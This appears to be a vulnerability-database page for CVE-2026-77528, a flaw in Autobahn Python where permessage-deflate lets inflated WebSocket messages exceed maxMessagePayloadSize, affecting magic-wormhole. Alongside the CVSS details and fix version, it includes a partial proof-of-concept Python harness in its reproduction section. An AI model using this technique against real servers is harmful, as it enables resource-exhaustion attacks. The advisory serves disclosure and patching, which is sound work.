VulnerabilityPublished 23 Sep 2026Updated 29 Oct 2026

CVE-2026-77528: Magic wormhole · Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Affects magic-wormholeSource GCVE Database

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Mentioned vulnerabilities

CVE-2016-10544

Authoritative record:CVE-2026-77528· Medium 5.3

Not known to be exploited · CVSS 5.3 Medium : upgrade to 0.24.0_4 when convenient.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

5.3Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 0.24.0_4

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 18 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade magic-wormhole to 0.24.0_4.

Affected software

Product	Affected	Fixed in
Homebrewmagic-wormhole`pkg:brew/magic-wormhole`Other threats	Affected >=0.9.2 <0.24.0_4	Fixed in 0.24.0_4

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Autobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide. ### Details The permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message. ### Reproduction ```py import sys import types import zlib if len(sys.argv) != 2: raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>") SRC = sys.argv[1] class _Log: def debug(self, *args, **kwargs): pass def warn(self, *args, **kwargs): pass def error(self, *args, **kwargs): pass class _Timer: def call_later(self, *args, **kwargs): return self def cancel(self): pass txaio = types.ModuleType("txaio") txaio.make_logger = lambda: _Log() txaio.create_future = lambda result=None: result txaio.resolve = lambda future, value=None: None txaio.reject = lambda future, error=None: None txaio.add_callbacks = ( lambda future, callback=None, errback=None: callback(future) if callback else None ) txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs) txaio.failure_format_traceback = lambda err: str(err) txaio.call_later = lambda *args, **kwargs: _Timer() txaio.make_batched_timer = lambda *args, **kwargs: _Timer() txaio.time_ns = lambda: 0 txaio.use_asyncio = lambda: None txaio.use_twisted = lambda: None sys.modules["txaio"] = txaio hyperlink = types.ModuleType("hyperlink") class _URL: @classmethod def from_text(cls, text): return cls(text) def __init__(self, text): self._text = text def to_uri(self): return self def normalize(self): return self def to_text(self): return self._text hyperlink.URL = _URL sys.modules["hyperlink"] = hyperlink wamp_types = types.ModuleType("autobahn.wamp.types") class TransportDetails: pass wamp_types.TransportDetails = TransportDetails sys.modules["autobahn.wamp.types"] = wamp_types sys.path.insert(0, SRC + "/src") from autobahn.websocket.compress_deflate import PerMessageDeflate from autobahn.websocket.protocol import WebSocketProtocol class _Factory: isServer = True requireMaskedClientFrames = True maskServerFrames = False utf8validateIncoming = True applyMask = True maxFramePayloadSize = 128 maxMessagePayloadSize = 128 autoFragmentSize = 0 failByDrop = True echoCloseCodeReason = False openHandshakeTimeout = 5 closeHandshakeTimeout = 1 tcpNoDelay = True autoPingInterval = 0 autoPingTimeout = 0 autoPingSize = 12 autoPingRestartOnAnyTraffic = True logOctets = False logFrames = False trackTimings = False versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS webStatus = False perMessageCompressionAccept = staticmethod(lambda offer: None) serveFlashSocketPolicy = False flashSocketPolicy = "" allowedOrigins = ["*"] allowedOriginsPatterns = [] allowNullOrigin = True maxConnections = 0 trustXForwardedFor = 0 _batched_timer = _Timer() class CapturingProtocol(WebSocketProtocol): CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocket

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